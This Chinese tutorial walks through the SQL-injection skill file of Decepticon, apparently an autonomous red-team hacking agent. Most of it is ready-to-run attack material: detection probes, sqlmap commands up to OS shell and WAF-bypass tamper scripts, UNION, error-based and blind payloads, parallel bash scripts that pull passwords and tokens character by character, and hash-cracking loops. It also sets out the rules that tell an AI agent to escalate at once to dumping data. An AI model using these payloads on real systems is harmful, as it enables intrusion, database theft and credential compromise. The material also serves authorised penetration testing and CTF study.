【免费下载链接】Decepticon
Autonomous Hacking Agent for Red Team
导读
本文围绕 Decepticon 仓库中 Web 利用分类下的sqli专项技能(packages/decepticon/decepticon/skills/standard/exploit/web/sqli/SKILL.md)展开,系统讲解 SQL 注入的检测手段、sqlmap 自动化利用、盲注快速通道与批量提取策略、哈希破解工作流等核心内容。读完本文,你将掌握在 Decepticon 红队工作流中如何识别并利用 Union 注入、报错注入、布尔盲注、时间盲注与堆叠查询,理解"手工 vs 工具"的决策规则,并能直接复用文中经过实战验证的命令与脚本完成从探测到数据提取的全过程。
一、技能定位与加载机制
1.1 技能元数据与触发条件
sqli技能在仓库中的路径为 packages/decepticon/decepticon/skills/standard/exploit/web/sqli/SKILL.md,其文件头以 YAML frontmatter 声明了技能身份:
- name:
sqli - description: 覆盖 Union 注入、报错注入、盲注(布尔/时间)、堆叠查询的自动与手工利用,并包含带 WAF 绕过 tamper 脚本的 sqlmap 自动化;
- metadata.subdomain:
web-exploitation,归类于 Web 利用域; - metadata.mitre_attack:
T1190,对应 MITRE ATT&CK 中的"Exploit Public-Facing Application"(利用面向公众的应用); - metadata.when_to_use: 命中
sql injection、sqli、sqlmap、union select、blind sql、boolean sql、time-based sql、error-based sql、stacked queries、information_schema、database dump、mysql、postgresql、mssql、sqlite、oracle、sql error、single quote、order by、group by等关键词时加载。
这套 frontmatter 会被 Decepticon 的技能中间件解析。从源码看,packages/decepticon/decepticon/middleware/skills.py 中的SkillsMiddleware会按技能触发条件匹配当前目标并提示调用load_skill()加载完整 SKILL.md;packages/decepticon/decepticon/tools/skills.py 中的build_load_skill_tool()实现了load_skill工具本体,它会剥离 frontmatter、追加技能基础目录头,并返回全文(不截断),路径必须符合/skills/*.md格式且受技能来源 allowlist 约束。
1.2 从 Web 分类技能路由到 sqli
在 Decepticon 的技能体系里,web是一个路由技能(packages/decepticon/decepticon/skills/standard/exploit/web/SKILL.md),它先帮助 Agent 判断攻击类型,再指引加载对应专项技能。路由表明确给出了 sqli 的加载方式:
| 项目 | 内容 |
|---|---|
| 覆盖范围 | Union / Error / Blind / Time-based SQL 注入、sqlmap |
| 何时加载 | 目标存在 SQL 数据库、查询参数、登录表单、搜索、过滤功能 |
| 加载路径 | load_skill("/skills/standard/exploit/web/sqli/SKILL.md") |
同时,packages/decepticon/decepticon/skills/standard/recon/web-recon/SKILL.md 的"Tag-Driven Fast Paths"规定:当编排器下发sqli标签时,侦察阶段的首要动作就是对每个表单/参数打一发错误触发 payload,然后直接进入本技能的侦察章节。而 Web 分类技能中的快速检测探针也以单引号报错测试(curl -s 'https://<TARGET>/page?id=1%27')作为 SQLi 的第一识别手段,与本文档的 Detection 章节一脉相承。
二、漏洞检测:三种基础探针
技能文档给出了三条可直接复制的 curl 探针,分别对应三种注入特征:
# 单引号报错测试:观察是否触发 SQL 语法错误 curl -s 'https://<TARGET>/page?id=1%27' -o sqli_test_quote.txt # 布尔差异测试:1=1 与 1=2 两条响应是否出现可分辨差异 curl -s 'https://<TARGET>/page?id=1+AND+1=1' -o sqli_true.txt curl -s 'https://<TARGET>/page?id=1+AND+1=2' -o sqli_false.txt # 时间盲注测试:用 SLEEP(5) 观察响应耗时 curl -s 'https://<TARGET>/page?id=1%27+AND+SLEEP(5)--+-' --max-time 10 -w '\nTime: %{time_total}s\n' -o sqli_time.txt三条探针分别对应三类判定证据:报错字符串(error string)、布尔差异(boolean differential)、时间延迟(time delay)。技能文档在"手工 vs 工具决策规则"中强调:只要三者中任一证据成立,即视为 SQLi 已确认(confirmed),后续必须立即升级到工具自动化或脚本化利用——而不是继续打手工探针。
三、sqlmap 自动化利用:从基础探测到 OS Shell
技能文档给出了完整的 sqlmap 命令矩阵,覆盖由浅入深的八个场景。命令均带--batch自动确认与--output-dir输出隔离,便于多目标并行作业时互不污染:
# 基础检测与利用 sqlmap -u 'https://<TARGET>/page?id=1' --batch --output-dir sqlmap_<TARGET>/ # 激进扫描(更高风险/等级) sqlmap -u 'https://<TARGET>/page?id=1' --batch --risk 3 --level 5 --output-dir sqlmap_<TARGET>/ # POST 请求 sqlmap -u 'https://<TARGET>/login' --data 'user=admin&pass=test' --batch --output-dir sqlmap_<TARGET>/ # 携带 Cookie / 自定义请求头 sqlmap -u 'https://<TARGET>/page?id=1' --cookie 'session=<TOKEN>' -H 'X-Custom: value' --batch --output-dir sqlmap_<TARGET>/ # 枚举数据库 sqlmap -u 'https://<TARGET>/page?id=1' --batch --dbs --output-dir sqlmap_<TARGET>/ # 转储指定表 sqlmap -u 'https://<TARGET>/page?id=1' --batch -D <DATABASE> -T <TABLE> --dump --output-dir sqlmap_<TARGET>/ # OS Shell(需堆叠查询 + 足够权限) sqlmap -u 'https://<TARGET>/page?id=1' --batch --os-shell --output-dir sqlmap_<TARGET>/ # WAF 绕过 tamper 脚本 sqlmap -u 'https://<TARGET>/page?id=1' --batch --tamper=space2comment,between,randomcase --output-dir sqlmap_<TARGET>/参数要点(结合实战惯例补充):
| 参数 | 作用 | 取值范围/默认 |
|---|---|---|
--batch | 对所有交互提问采用默认回答,保证无人值守运行 | 布尔开关 |
--risk | 提升 payload 探测激进程度(含OR类高破坏性 payload) | 1~3,默认 1 |
--level | 扩大测试的参数范围与 payload 数量 | 1~5,默认 1 |
--data | 指定 POST 请求体 | 形如user=admin&pass=test |
--cookie/-H | 携带会话与自定义头,绕过登录态与特征头校验 | 视目标而定 |
--dbs | 枚举数据库名 | — |
-D-T--dump | 指定库表并转储数据 | 需先确认库表名 |
--os-shell | 尝试通过堆叠查询写入并执行 OS 命令 | 依赖数据库权限与文件写入能力 |
--tamper | 加载 tamper 脚本改写 payload 绕过 WAF 规则 | 可逗号串联多个脚本,如space2comment,between,randomcase |
当--tamper组合无法穿过 WAF、但目标仍存在稳定的二元 oracle(两种可区分的页面状态)时,技能文档明确要求切换到伴生技能 packages/decepticon/decepticon/skills/standard/exploit/web/blind-sqli/SKILL.md,用手工 token 指纹探测 + 替换语法继续;更完整的 WAF 对抗体系见 packages/decepticon/decepticon/skills/standard/exploit/web/waf-bypass/SKILL.md。
四、盲注快速通道(挑战标签含blind_sqli时强制)
技能文档将本节标记为MANDATORY:当挑战标签包含blind_sqli时,跳过试探性探测,直接进入"确认 + sqlmap"流程,且必须发生在第一次 exploit bash 调用内:
# 时间型 oracle 确认 curl -s "http://<TARGET>/page?id=1' AND SLEEP(5)--+-" --max-time 10 -w '\nTime: %{time_total}s\n' -o blind_time.txt # 布尔差异确认 curl -s "http://<TARGET>/page?id=1' AND 1=1--+-" -o blind_true.txt curl -s "http://<TARGET>/page?id=1' AND 1=2--+-" -o blind_false.txt判定标准:时间延迟 ≥ 5 秒,或布尔响应存在可分辨差异。任一确认后立即启动 sqlmap:
sqlmap -u "http://<TARGET>/page?id=1" --technique=BT --batch --dump --threads=5 \ --output-dir sqlmap_blind/ 2>&1 | tee sqlmap_blind.log &这里--technique=BT限定仅使用布尔(B)与时间(T)两类技术,--threads=5开并发线程,tee落盘日志便于追溯。硬性约束:禁止迭代式手工单字符提取——时间或布尔差异一旦确认,下一次 bash 调用就必须启动 sqlmap 或脚本化 harness,而不是再打一发确认探针。
五、手工 vs 工具决策规则(强制)
技能文档要求:SQLi 确认(报错字符串 / 布尔差异 / 时间延迟任一)后,必须按下表升级:
| 状态 | 动作 |
|---|---|
| SQLi 已确认,尚未提取数据 | 先运行sqlmap --batch -u "<URL>" --dump --threads=5 |
| sqlmap 失败或被拦截(WAF、自定义编码) | 编写一个 Python/bash harness 脚本,在单次调用内完成 长度探测 → 二分搜索 → 重组 |
| harness 产出部分结果 | 让它跑完。不要切回手工 curl 探针,不要对运行中的 harness 执行 edit_file |
| harness 完成但提取不完整 | 先提交/验证已得的部分结果,再启动第二个 harness |
文档同时点名了本技能的核心反模式(Anti-pattern):在sqlmap --dump可以一次调用提取同一列的情况下,迭代几十次手工单字符 curl。手工单字符提取只是教学练习,不是针对已确认 sink 的攻击技术。对应硬性规则(Hard rule):SQLi 确认后,下一次 bash 调用必须升级到 sqlmap 或脚本化 harness;确认后仍迭代手工字符探针是本技能中典型的资源错误分配(canonical mis-allocation)。
六、手工利用技术:四大注入类型
当目标环境不适合工具、或需要理解底层原理时,技能文档给出四种手工手法。
6.1 Union 注入
先用ORDER BY逐列递增探测列数(直到报错),再用UNION SELECT对齐列数提取数据:
-- 确定列数 ORDER BY 1-- - ORDER BY 2-- - -- ... 递增直到报错 -- 通过 UNION 提取数据 ' UNION SELECT 1,2,3-- - ' UNION SELECT username,password,3 FROM users-- - ' UNION SELECT table_name,column_name,3 FROM information_schema.columns-- -技巧要点:UNION SELECT的列数与主查询必须完全一致,且输出位(本例中的第 3 列)要挑可回显的列填充,以便数据落到响应页面。
6.2 MySQL 报错注入(Error-Based)
利用 MySQL 在EXTRACTVALUE/UPDATEXML的 XPath 参数报错时回显表达式的特性,将查询结果拼进错误信息:
-- ExtractValue ' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT version()),0x7e))-- - ' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT user FROM mysql.user LIMIT 1),0x7e))-- - -- UpdateXML ' AND UPDATEXML(1,CONCAT(0x7e,(SELECT @@version),0x7e),1)-- -0x7e即波浪号~,作为非法 XPath 字符触发报错并顺带把子查询结果带进错误文本,是经典的 MySQL 报错注入封装。
6.3 布尔盲注(Blind Boolean)
通过页面真/假状态的差异逐字符推断:
' AND (SELECT SUBSTRING(username,1,1) FROM users LIMIT 1)='a'-- - ' AND ASCII(SUBSTRING((SELECT password FROM users LIMIT 1),1,1))>96-- -第二条使用 ASCII 数值比较,为后续二分搜索和位提取打好基础。
6.4 时间盲注(Blind Time-Based)
按数据库方言使用不同的延时原语:
-- MySQL ' AND IF(1=1,SLEEP(5),0)-- - ' AND IF((SELECT SUBSTRING(username,1,1) FROM users LIMIT 1)='a',SLEEP(5),0)-- - -- MSSQL '; WAITFOR DELAY '0:0:5'-- - -- PostgreSQL '; SELECT pg_sleep(5)-- -时间盲注的价值在于完全不依赖页面内容,适合"无任何回显、仅能观测响应耗时"的场景;代价是单字符确认的请求耗时高,因此技能文档专门设计了批量提取策略来压缩请求量。
七、盲注批量提取策略
布尔盲注与时间盲注的逐字符提取极其缓慢,技能文档给出了四种加速策略与优先级。
7.1 二分搜索(对半切割 ASCII 区间)
把每个字符从 95 次猜测收敛到约 7 次:
' AND ASCII(SUBSTRING((SELECT password FROM users LIMIT 1),1,1))>64-- - ' AND ASCII(SUBSTRING((SELECT password FROM users LIMIT 1),1,1))>96-- - ' AND ASCII(SUBSTRING((SELECT password FROM users LIMIT 1),1,1))>112-- -7.2 逐位提取(每字符 7 个请求,无假阳性)
-- 提取第 1 个字符的第 7 位(MSB) ' AND (ASCII(SUBSTRING((SELECT password FROM users LIMIT 1),1,1))>>6)&1=1-- - -- 对第 6..0 位重复,最后用 chr(sum(bit_n * 2^n)) 重组按位提取每字符固定 7 个请求且无假阳性,但请求量仍较大,适合与并行化结合使用。
7.3 批量长度检查(先定界再循环)
' AND LENGTH((SELECT password FROM users LIMIT 1))>15-- - ' AND LENGTH((SELECT password FROM users LIMIT 1))=32-- -先确认总长度以约束循环上界,避免对不存在的字符做无效探测。
7.4 UNION 兜底与 sqlmap 涡轮参数
- 若会话中途 WAF 放松或错误上下文变化,可重试 UNION:
' UNION SELECT NULL,password,NULL FROM users-- -; - 手动 PoC 确认后,用 sqlmap 涡轮参数加速(限定布尔/时间技术、降级 level、开并发):
sqlmap -u "http://target/page?id=1" --technique=BT --level=3 --threads=5 \ --dbms=mysql -D targetdb -T users -C username,password --dump --batch-D、-T、-C直接指定库/表/列,把扫描面收缩到目标数据本身。
7.5 提取优先级顺序
技能文档规定按以下优先级枚举元数据,优先获取高价值列:
- 库名(
information_schema.schemata) - 表名(
information_schema.tables WHERE table_schema=database()) - 列名(
information_schema.columns) - 高价值列:
password、token、secret、api_key、flag
八、提取后的哈希破解工作流
当 SQLi 提取出哈希(MD5/SHA1/bcrypt 等)时,技能文档要求立即破解,禁止手工造词表或手工猜测变体。工作流分四步:
HASH="<extracted_hash>" echo "$HASH" > /tmp/crack.hash # Step 1: 进程内先试常见弱口令(覆盖约 60% 的 CTF 哈希) for c in "admin" "password" "123456" "password123" "root" "toor" "letmein" "qwerty" \ "admin123" "test" "guest" "user" "changeme" "secret" "p@ssword"; do # MD5 echo -n "$c" | md5sum | grep -qi "${HASH}" && echo "MD5 MATCH: $c" && break # SHA1 echo -n "$c" | sha1sum | grep -qi "${HASH}" && echo "SHA1 MATCH: $c" && break # SHA256 echo -n "$c" | sha256sum | grep -qi "${HASH}" && echo "SHA256 MATCH: $c" && break done # Step 2: hashcat 词表破解(需先确认哈希类型) hashcat --identify /tmp/crack.hash hashcat -a 0 /tmp/crack.hash /usr/share/wordlists/rockyou.txt --quiet 2>/dev/null | head -5 # Step 3: john 兜底 john /tmp/crack.hash --wordlist=/usr/share/wordlists/rockyou.txt --format=raw-md5 2>/dev/null john /tmp/crack.hash --wordlist=/usr/share/wordlists/rockyou.txt --format=raw-sha1 2>/dev/null john --show /tmp/crack.hash 2>/dev/null # Step 4: 应用上下文变体(以提取到的用户名为基底) APP_USER="admin" # 替换为提取到的用户名 for c in "${APP_USER}" "${APP_USER}123" "${APP_USER}!" "${APP_USER}@123" "${APP_USER}2024"; do echo -n "$c" | md5sum | grep -qi "${HASH}" && echo "CONTEXT MATCH: $c" && break done硬性规则:不要写自定义逐字符暴力破解循环,hashcat/john 快 1000 倍;若哈希为 bcrypt($2b$前缀)且 cost > 12,暴力破解不可行,应立即转向密码重置流程或认证绕过等其他攻击面。
九、盲注并行字符提取蓝图
当 sqlmap 不可用或被拦截、而布尔/时间盲注已确认时,技能文档要求并行提取字符,绝不串行。
Step 1:二分探测字符串长度(先确认长度边界):
TARGET_URL="http://<TARGET>/page?id=" TARGET_EXPR="(SELECT password FROM users LIMIT 1)" for len in 16 32 48 64; do resp=$(curl -s "${TARGET_URL}1' AND LENGTH(${TARGET_EXPR})=${len}--+-") echo "$len: $(echo "$resp" | wc -c) bytes" done # 选出呈现 "true" 响应大小的那个长度 STR_LEN=32 # 设为已确认的长度Step 2:并行字符提取(10~20 个并发任务,每 20 个位置节流一次):
WORKSPACE="$(pwd)" mkdir -p "${WORKSPACE}/blind_chars" for pos in $(seq 1 "$STR_LEN"); do ( for ascii in $(seq 32 126); do resp=$(curl -s "${TARGET_URL}1' AND ASCII(SUBSTRING(${TARGET_EXPR},${pos},1))=${ascii}--+-") # 通过与已知为真的基线响应比对大小判断 "true" if echo "$resp" | grep -q "<KNOWN_TRUE_MARKER>"; then echo "$ascii" > "${WORKSPACE}/blind_chars/pos_${pos}.txt" break fi done ) & # 节流:最多允许 20 个并发任务 (( (pos % 20) == 0 )) && wait done waitStep 3:按位置文件重组字符串:
python3 -c " import os, glob chars = {} for f in glob.glob('${WORKSPACE}/blind_chars/pos_*.txt'): pos = int(os.path.basename(f).replace('pos_','').replace('.txt','')) chars[pos] = chr(int(open(f).read().strip())) result = ''.join(chars[p] for p in sorted(chars)) print('Extracted:', result) "硬性规则:长度一旦确认,下一次 bash 调用必须启动上述并行提取循环,而不是单字符串行探针。串行提取 32 字符密钥最少 32 轮往返;20 并发并行提取只需 ≤2 轮。
十、与相邻技能的联动边界
sqli并非孤立的技能,Decepticon 的 Web 利用体系为其配置了清晰的分工:
- blind-sqli:当
sqlmap --tamper无法穿过 WAF、但存在稳定二元 oracle 时加载。它覆盖 token 指纹探测循环、算术乘法布尔求值、hex 字面量、指数探测二分搜索等手工对抗手法,且明确要求先加载 sqli 技能、确认 sqlmap 失效后才启用——因为手工方案在 token 与墙钟时间上更昂贵; - waf-bypass:提供 payload 混淆、HTTP 层绕过、源站 IP 发现等对抗手段,其 SQLi 规则绕过示例(
/*!50000UnIoN*/版本化注释拆分等)可与--tamper组合配合,并把本技能列为交叉引用; - hpp:利用 WAF/框架/应用对重复参数的解析差异投递注入 payload,是 SQLi 在真实多层栈上的投递通道之一;
- web-recon:
sqli标签下发时,先对每个表单/参数打一发报错触发 payload,再进入本技能侦察章节,形成"侦察 → 确认 → 利用"闭环。
这一分工体现了 Decepticon 技能体系"路由技能负责判断、专项技能负责执行"的设计原则,也印证了本技能文档在 Web 利用分类中的核心枢纽地位:凡涉及 SQL 注入,无论走自动化工具还是手工盲注,最终都要回归到这份 SKILL.md 的检测、决策与提取规程上。
【免费下载链接】Decepticon
Autonomous Hacking Agent for Red Team
相关推荐
Decepticon 自动化红队实战解构:XBEN-040-24 时间盲注(blind SQLi)挑战的完整过关拆解
Decepticon 自动化红队实战解构:XBEN 040 24 时间盲注(blind SQLi)挑战的完整过关拆解 本文以 Decepticon 开源仓库中
开源项目管理软件 OpenProject 完全上手指南:从零搭建团队协作中枢
开源项目管理软件 OpenProject 完全上手指南:从零搭建团队协作中枢 周四的项目例会又开了四十分钟:销售催上线时间,开发说需求还没确认,你盯着那份早就过
网络安全渗透测试应用安全漏洞扫描sqlmap 使用指南:从安装到自动化 SQL 注入检测与数据库接管
sqlmap 使用指南:从安装到自动化 SQL 注入检测与数据库接管 导读 本文以仓库内 doc/translations/README bn BD.md ht
网络安全渗透测试应用安全漏洞扫描
创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考